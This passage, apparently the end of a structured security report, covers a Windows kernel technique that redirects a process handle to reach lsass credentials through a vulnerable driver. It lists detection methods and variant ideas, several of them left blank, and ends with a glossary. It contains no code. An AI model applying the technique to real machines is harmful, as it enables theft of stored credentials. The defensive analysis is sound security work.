The author describes the technique as hard to detect at the callback level by design, since ObRegisterCallbacks never fires on lsass, and lists detection vectors:
- Handle table scanning: a security product running at kernel level can periodically scan all process handle tables and compare the
ObjectPointerBits-decoded EPROCESS against the process that owns the table. A mismatch, such as a notepad handle pointing to the lsass EPROCESS, is anomalous. In everyday terms, the cloakroom manager checks the ledger and notices that a ticket issued for a cheap coat now points at an expensive one. - BYOVD detection: the primitive requires a vulnerable driver, which the author calls the strongest detection layer here.
Fix
The report does not describe any fix or vendor change.
Variants to test
- Other sensitive processes:
- Other handle-based objects: the same entry layout applies to any object type, so a redirected handle to a file or section object would show the same mismatch under handle table scanning. A section object is a kernel object that represents a block of memory shared between processes, often backed by a file.
- Restore timing:
- Different vulnerable drivers:
Glossary
- API: a set of functions an operating system or program offers so other programs can ask it to do things, like a service counter with named requests.
- Bit: a single binary digit, 0 or 1; a 64-bit value is a row of 64 such digits.
- Bitfield: a field in a structure that occupies a stated number of bits rather than whole bytes.
- BYOVD: "Bring Your Own Vulnerable Driver"; loading a legitimate but buggy driver that the kernel trusts, in order to abuse its bugs.
- Callback: a function the system calls automatically when an event happens.
- CodeView record: a block inside a Windows executable that identifies the matching PDB symbol file.
- Cookie (ObHeaderCookie): a kernel value read in the code but not needed for
ObjectPointerBitsencoding. - DbgHelp: the Windows library that reads PDB symbol files.
- EDR: Endpoint Detection and Response; a security product that watches a machine for suspicious behaviour.
- Handle: a small number a program receives when it asks Windows to access an object, used afterwards in place of the object.
- IOCTL: an I/O control message a program sends to a driver to request an operation.
- Kernel: the core of the operating system with full control over memory, processes and hardware.
- Kernel read/write primitive: the ability to read and write arbitrary kernel memory.
- lsass: the Windows process that handles logins and keeps credentials in memory.
- loldrivers.io: a public catalogue of legitimate drivers known to be abusable.
- Metadata: bookkeeping data stored alongside a value, here the low 20 bits of the handle entry.
- ntoskrnl: the Windows kernel executable.
- Offset: the distance in bytes from the start of a structure to a particular field.
- PDB: a symbol file published by Microsoft that lists names and positions of functions and structures in a binary.
- PID: the number Windows assigns to each running process.
- Privilege: a permission granted to a process, such as
SeDebugPrivilege. - Process: a running program.
- QWORD: a 64-bit value, that is, 8 bytes.
- Section object: a kernel object representing a block of memory shared between processes, often backed by a file.
- SeDebugPrivilege: a Windows privilege that lets a process open handles to other processes for debugging.
- Symbol server: a service that serves PDB files matching a binary, here
msdl.microsoft.com. - Union: a C type where several fields share the same memory.
- User mode: the limited-rights mode in which normal programs run, as opposed to the kernel.
- Vergilius Project: a website documenting the internal structures of the Windows kernel for each version.
- volatile: a C keyword telling the compiler a value can change at any time and must not be cached.